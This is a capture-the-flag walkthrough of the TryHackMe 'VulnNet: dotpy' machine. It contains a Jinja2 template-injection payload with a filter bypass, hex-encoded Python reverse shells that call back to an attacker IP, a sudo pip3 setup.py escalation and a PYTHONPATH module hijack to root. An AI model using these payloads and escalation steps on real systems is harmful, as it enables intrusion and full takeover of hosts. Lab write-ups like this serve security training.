Information
Room
Name: VulnNet: dotpy
Profile: tryhackme.com
Difficulty: Medium
Description : VulnNet Entertainment is back with their brand new website... and stronger?
Write-up
Overview
Install tools used in this WU on BlackArch Linux:
$ sudo pacman -S nmap ffuf ruby ctf-party gtfoblookup
Network enumeration
Let's start by adding a custom domain to the machine:
$ grep vulnnetdotpy /etc/hosts
10.10.133.211 vulnnetdotpy.thm
Port and service scan with nmap:
# Nmap 7.93 scan initiated Sun Jan 15 19:09:34 2023 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap vulnnetdotpy.thm
Nmap scan report for vulnnetdotpy.thm (10.10.133.211)
Host is up, received reset ttl 63 (0.087s latency).
Not shown: 65461 closed tcp ports (reset), 73 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
8080/tcp open http syn-ack ttl 63 Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
| http-title: VulnNet Entertainment - Login | Discover
|_Requested resource was http://vulnnetdotpy.thm:8080/login
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 15 19:10:01 2023 -- 1 IP address (1 host up) scanned in 26.30 seconds
Web discovery
On port 8080, we are facing a python web application.
We are redirected to a login page: http://vulnnetdotpy.thm:8080/login
We can find an email address hello@vulnnet.com
but the description of the challenge says:
Note: While looking through web pages you might notice a domain vulnnet.com , however, it's not an actual vhost and you don't need to add it to your hosts list.
So let's create an user account and log in.
As the challenge is CTFy, the author borrow a static demo HTML template, most links are empty and most of the content is static. So let's find where there are dynamic asset and where the user input is reflected.
The email address is reflected on the user dropdown menu
The username is reflected on the logout button
404 error page reflects the page name
Web exploitation: SSTI
On a page like http://vulnnetdotpy.thm:8080/xyzpage , we'll see the message No results for xyzpage
.
Now if we ask for http://vulnnetdotpy.thm:8080/42 (/{{ 6 * 7 }}
), the resulting message is No results for 42
, proof that the input is evaluated. So we can try to exploit an SSTI.
Let's try more payloads.
{{ config }}
< Config { 'ENV' : 'production' , 'DEBUG' : True , 'TESTING' : False , 'PROPAGATE_EXCEPTIONS' : None , 'PRESERVE_CONTEXT_ON_EXCEPTION' : None , 'SECRET_KEY' : 'S3cr3t_K#Key' , 'PERMANENT_SESSION_LIFETIME' : datetime. timedelta ( 31 ), 'USE_X_SENDFILE' : False , 'SERVER_NAME' : None , 'APPLICATION_ROOT' : '/' , 'SESSION_COOKIE_NAME' : 'session' , 'SESSION_COOKIE_DOMAIN' : False , 'SESSION_COOKIE_PATH' : None , 'SESSION_COOKIE_HTTPONLY' : True , 'SESSION_COOKIE_SECURE' : False , 'SESSION_COOKIE_SAMESITE' : None , 'SESSION_REFRESH_EACH_REQUEST' : True , 'MAX_CONTENT_LENGTH' : None , 'SEND_FILE_MAX_AGE_DEFAULT' : datetime. timedelta ( 0 , 43200 ), 'TRAP_BAD_REQUEST_ERRORS' : None , 'TRAP_HTTP_EXCEPTIONS' : False , 'EXPLAIN_TEMPLATE_LOADING' : False , 'PREFERRED_URL_SCHEME' : 'http' , 'JSON_AS_ASCII' : True , 'JSON_SORT_KEYS' : True , 'JSONIFY_PRETTYPRINT_REGULAR' : False , 'JSONIFY_MIMETYPE' : 'application/json' , 'TEMPLATES_AUTO_RELOAD' : None , 'MAX_COOKIE_SIZE' : 4093 , 'SQLALCHEMY_DATABASE_URI' : 'sqlite:////home/web/shuriken-dotpy/db.sqlite3' , 'SQLALCHEMY_TRACK_MODIFICATIONS' : False , 'SQLALCHEMY_BINDS' : None , 'SQLALCHEMY_NATIVE_UNICODE' : None , 'SQLALCHEMY_ECHO' : False , 'SQLALCHEMY_RECORD_QUERIES' : None , 'SQLALCHEMY_POOL_SIZE' : None , 'SQLALCHEMY_POOL_TIMEOUT' : None , 'SQLALCHEMY_POOL_RECYCLE' : None , 'SQLALCHEMY_MAX_OVERFLOW' : None , 'SQLALCHEMY_COMMIT_ON_TEARDOWN' : False , 'SQLALCHEMY_ENGINE_OPTIONS' : {}} >
{{ config['SECRET_KEY'] }}
Your request has been blocked.
So some characters are blacklisted.
Web fuzzing
Let's try to identify all blocked characters. Doing that manually is exhausting and time consuming. So let's automate that with ffuf
.
Initially I would have done something like that:
$ ruby -e '("!".."~").each{|c| puts c}' | ffuf -u 'http://vulnnetdotpy.thm:8080/{{ FUZZ }}' -w - -H 'Cookie: session=.eJwljklqBTEMRO_idRaaLMt9mcZSyyQEEuhhFXL3b_jLKop676_s88zrs2z3-eRH2b-OspWGIOhEdHBEG-kEidNSJ9cUn5Wj86GmYV4BI5R6x8hKPRgoBqcp9yYuvtbRla0RWKJXTOpzDBUf4kpuRq0SZ5gAWgsSz7JEnivPtw2uGNc59_v3O39WAa0uFE9XiFhgSYehesj61xQNmYasWv5fukw-sw.Y8RE2Q.R8qAq9aw1LMmb0LS29BHjI9MBq4' -mc 403
ruby -e '("!".."~").each{|c| puts c}'
will enumerate most of the printable range of the ASCII table
-H 'Cookie: session=...
it's mandatory to provide a valid cookie else every request turns into an authorization error
-mc 403
we wan't to mach only HTTP code 403 since we want to detect only blocked characters
But the challenge app being poorly written, blocking messages are returning a HTTP 404 since it's using the 404 error template but just changing the text to 403. So instead of matching only 403 we have to match 404 and do an extra content check. So changing -mc 403
into -mc 404 -mr blocked -mmode and
$ ruby -e '("!".."~").each{|c| puts c}' | ffuf -u 'http://vulnnetdotpy.thm:8080/{{ FUZZ }}' -w - -H 'Cookie: session=.eJwljklqBTEMRO_idRaaLMt9mcZSyyQEEuhhFXL3b_jLKop676_s88zrs2z3-eRH2b-OspWGIOhEdHBEG-kEidNSJ9cUn5Wj86GmYV4BI5R6x8hKPRgoBqcp9yYuvtbRla0RWKJXTOpzDBUf4kpuRq0SZ5gAWgsSz7JEnivPtw2uGNc59_v3O39WAa0uFE9XiFhgSYehesj61xQNmYasWv5fukw-sw.Y8RE2Q.R8qAq9aw1LMmb0LS29BHjI9MBq4' -mc 404 -mr blocked -mmode and
...
. [Status: 404, Size: 2381, Words: 624, Lines: 43, Duration: 407ms]
[ [Status: 404, Size: 2381, Words: 624, Lines: 43, Duration: 255ms]
] [Status: 404, Size: 2381, Words: 624, Lines: 43, Duration: 237ms]
_ [Status: 404, Size: 2381, Words: 624, Lines: 43, Duration: 224ms]
This way we found that blocked characters are .[]_
(in the ASCII range, deliberately ignoring ones triggering 500 errors).
As in pyjails, we could replace .
with |attr('')
as we have a Jinja template engine (identified in 500 error) and just hex escape the 3 other characters in a string cf. https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#accessing-subclasses-with-bypasses .
Also eval()
, dir()
, vars()
, locals()
, len()
, etc. are undefined.
First let's obtain a code execution.
# Get code execution
__builtins__ . __import__ ( "os" ). system ( "ls" )
# We can't start with an object using an underscore so let's replace __builtins__ with print.__self__
print . __self__ . __import__ ( "os" ). system ( "ls" )
# Now use Jinja pipes to get rid of dots
print| attr ( '__self__' ) | attr ( '__import__' )( 'os' ) | attr ( 'system' )( 'ls' )
# Now hex escape the underscores
print| attr ( ' \x5f\x5f self \x5f\x5f ' ) | attr ( ' \x5f\x5f import \x5f\x5f ' )( 'os' ) | attr ( 'system' )( 'ls' )
But print()
and most default function I can think of are undefined.
As you can see in my write-up about TMHC CTF 2019 - BoneChewerCon :
So I can get use of |attr to use an object attribute and array.pop(0) instead of array[0]. But since . is forbidden too I must use |attr("pop")(0). I can also use |list to convert anything as a list, |string to cast to a string, |join to convert from an array/list to a string, etc.
Let's get a paylaod from my previous WU.
So first, we exec ().__class__.__base__.__subclasses__()
to get the index of subprocess.Popen
which is at index 401 on the server.
# Raw
(). __class__ .__base__. __subclasses__ ()[ 401 ]( 'id' , shell = True , stdout =- 1 ). communicate ()
# Bypass dot and square braquets
() | attr ( '__class__' ) | attr ( '__base__' ) | attr ( '__subclasses__' )() | attr ( 'pop' )( 401 )( 'id' , shell = True , stdout =- 1 ) | attr ( 'communicate' )()
# Bypass underscore
() | attr ( ' \x5f\x5f class \x5f\x5f ' ) | attr ( ' \x5f\x5f base \x5f\x5f ' ) | attr ( ' \x5f\x5f subclasses \x5f\x5f ' )() | attr ( 'pop' )( 401 )( 'id' , shell = True , stdout =- 1 ) | attr ( 'communicate' )()
here is another method found in Aquinas write-up that has the advantage of not having to count the subclasses but the disadvantage of working only in Flask environment.
# Raw
request.application. __globals__ . __getitem__ ( '__builtins__' ). __getitem__ ( 'import' )( 'os' ). read ()
# Bypass
request | attr ( 'application' ) | attr ( ' \x5f\x5f globals \x5f\x5f ' ) | attr ( ' \x5f\x5f getitem \x5f\x5f ' )( ' \x5f\x5f builtins \x5f\x5f ' ) | attr ( ' \x5f\x5f getitem \x5f\x5f ' )( ' \x5f\x5f import \x5f\x5f ' )( 'os' ) | attr ( 'popen' )( 'id' ) | attr ( 'read' )()
Let's generate a reverse shell with revshells.com .
python3 - c 'import os,pty,socket;s=socket.socket();s.connect(("10.18.25.199",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
Let's use ctf-party to escape the whole payload else nested strings will be a mess in addition to blocked characters.
$ ctf-party_console
irb(main):002:0> revshell = %{python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.18.25.199",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'}
irb(main):003:0> puts revshell.to_hex(prefixall: '\x')
\x70\x79\x74\x68\x6f\x6e\x33\x20\x2d\x63\x20\x27\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x2c\x70\x74\x79\x2c\x73\x6f\x63\x6b\x65\x74\x3b\x73\x3d\x73\x6f\x63\x6b\x65\x74\x2e\x73\x6f\x63\x6b\x65\x74\x28\x29\x3b\x73\x2e\x63\x6f\x6e\x6e\x65\x63\x74\x28\x28\x22\x31\x30\x2e\x31\x38\x2e\x32\x35\x2e\x31\x39\x39\x22\x2c\x39\x39\x39\x39\x29\x29\x3b\x5b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x66\x29\x66\x6f\x72\x20\x66\x20\x69\x6e\x28\x30\x2c\x31\x2c\x32\x29\x5d\x3b\x70\x74\x79\x2e\x73\x70\x61\x77\x6e\x28\x22\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x22\x29\x27
Including the reverse shell payload into the SSTI payload gives us this final form:
() | attr ( ' \x5f\x5f class \x5f\x5f ' ) | attr ( ' \x5f\x5f base \x5f\x5f ' ) | attr ( ' \x5f\x5f subclasses \x5f\x5f ' )() | attr ( 'pop' )( 401 )( ' \x70\x79\x74\x68\x6f\x6e\x33\x20\x2d\x63\x20\x27\x69\x6d\x70\x6f\x72\x74\x20\x6f\x73\x2c\x70\x74\x79\x2c\x73\x6f\x63\x6b\x65\x74\x3b\x73\x3d\x73\x6f\x63\x6b\x65\x74\x2e\x73\x6f\x63\x6b\x65\x74\x28\x29\x3b\x73\x2e\x63\x6f\x6e\x6e\x65\x63\x74\x28\x28\x22\x31\x30\x2e\x31\x38\x2e\x32\x35\x2e\x31\x39\x39\x22\x2c\x39\x39\x39\x39\x29\x29\x3b\x5b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x66\x29\x66\x6f\x72\x20\x66\x20\x69\x6e\x28\x30\x2c\x31\x2c\x32\x29\x5d\x3b\x70\x74\x79\x2e\x73\x70\x61\x77\x6e\x28\x22\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x22\x29\x27 ' , shell = True , stdout =- 1 ) | attr ( 'communicate' )()
System discovery
Of course we have a low privileges web user:
web@vulnnet-dotpy:~/shuriken-dotpy$ id
uid=1001(web) gid=1001(web) groups=1001(web)
By curiosity, let's look at the source code we just bypassed:
web@vulnnet-dotpy:~/shuriken-dotpy$ grep -r TemplateNotFound .
./app/home/routes.py:from jinja2 import TemplateNotFound
./app/home/routes.py: except TemplateNotFound:
Binary file ./app/home/__pycache__/routes.cpython-36.pyc matches
web@vulnnet-dotpy:~/shuriken-dotpy$ cat ./app/home/routes.py
...
@blueprint.route('/index')
@login_required
def index():
return render_template('index.html')
@blueprint.route('/<template>')
@login_required
def route_template(template):
try:
if not template.endswith( '.html' ):
template += '.html'
return render_template( template )
except TemplateNotFound:
s = request.path.strip("/")
if "." in s or "_" in s or "[" in s or "]" in s:
template = '''
...
We can execute commands as system-adm:
web@vulnnet-dotpy:~/shuriken-dotpy$ sudo -l
Matching Defaults entries for web on vulnnet-dotpy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User web may run the following commands on vulnnet-dotpy:
(system-adm) NOPASSWD: /usr/bin/pip3 install *
System exploitation: EoP from web to system-adm
We can use gtfoblookup to quickly identify an EoP for pip
.
$ gtfoblookup gtfobins search -c sudo pip
/home/noraj/.cache/GTFOBLookup/GTFOBins.github.io/_gtfobins/pip.md
pip:
sudo:
Code: TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty)
>$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
Let's exploit it:
web@vulnnet-dotpy:~/shuriken-dotpy$ mkdir /tmp/noraj && TF=/tmp/noraj
web@vulnnet-dotpy:~/shuriken-dotpy$ echo 'import os,pty,socket;s=socket.socket();s.connect(("10.18.25.199",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")' > $TF/setup.py
web@vulnnet-dotpy:~/shuriken-dotpy$ sudo -u system-adm /usr/bin/pip3 install $TF
System exploitation: EoP from system-adm to root
Now we can execute /opt/backup.py
as root.
system-adm@vulnnet-dotpy:/tmp/pip-9cyzsf3i-build$ id
uid=1000(system-adm) gid=1000(system-adm) groups=1000(system-adm),24(cdrom)
system-adm@vulnnet-dotpy:/tmp/pip-9cyzsf3i-build$ sudo -l
Matching Defaults entries for system-adm on vulnnet-dotpy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User system-adm may run the following commands on vulnnet-dotpy:
(ALL) SETENV: NOPASSWD: /usr/bin/python3 /opt/backup.py
SETENV
allows to set an environment variable.
Now let's look at /opt/backup.py
:
from datetime import datetime
from pathlib import Path
import zipfile
OBJECT_TO_BACKUP = '/home/manage' # The file or directory to backup
BACKUP_DIRECTORY = '/var/backups' # The location to store the backups in
MAX_BACKUP_AMOUNT = 300 # The maximum amount of backups to have in BACKUP_DIRECTORY
object_to_backup_path = Path ( OBJECT_TO_BACKUP )
backup_directory_path = Path ( BACKUP_DIRECTORY )
assert object_to_backup_path. exists () # Validate the object we are about to backup exists before we continue
# Validate the backup directory exists and create if required
backup_directory_path. mkdir ( parents = True , exist_ok = True )
# Get the amount of past backup zips in the backup directory already
existing_backups = [
x for x in backup_directory_path. iterdir ()
if x. is_file () and x.suffix == '.zip' and x.name. startswith ( 'backup-' )
]
# Enforce max backups and delete oldest if there will be too many after the new backup
oldest_to_newest_backup_by_name = list ( sorted (existing_backups, key = lambda f : f.name))
while len (oldest_to_newest_backup_by_name) >= MAX_BACKUP_AMOUNT : # >= because we will have another soon
backup_to_delete = oldest_to_newest_backup_by_name. pop ( 0 )
backup_to_delete. unlink ()
# Create zip file (for both file and folder options)
backup_file_name = f 'backup- { datetime. now (). strftime ( "%Y%m %d %H%M%S" ) } - { object_to_backup_path.name } .zip'
zip_file = zipfile. ZipFile ( str (backup_directory_path / backup_file_name), mode = 'w' )
if object_to_backup_path. is_file ():
# If the object to write is a file, write the file
zip_file. write (
object_to_backup_path. absolute (),
arcname = object_to_backup_path.name,
compress_type = zipfile. ZIP_DEFLATED
)
elif object_to_backup_path. is_dir ():
# If the object to write is a directory, write all the files
for file in object_to_backup_path. glob ( '**/*' ):
if file . is_file ():
zip_file. write (
file . absolute (),
arcname =str ( file . relative_to (object_to_backup_path)),
compress_type = zipfile. ZIP_DEFLATED
)
# Close the created zip file
zip_file. close ()
We don't really mind what the script does, we can set PYTHONPATH
and the script will try to load the moduels from here when importing.
system-adm@vulnnet-dotpy:~$ echo 'import pty; pty.spawn("/bin/bash")' > /dev/shm/zipfile.py
system-adm@vulnnet-dotpy:~$ sudo -u root PYTHONPATH=/dev/shm /usr/bin/python3 /opt/backup.py
Flags
root@vulnnet-dotpy:~# cat /root/root.txt
THM{EDITED}
root@vulnnet-dotpy:~# cat /home/system-adm/user.txt
THM{EDITED}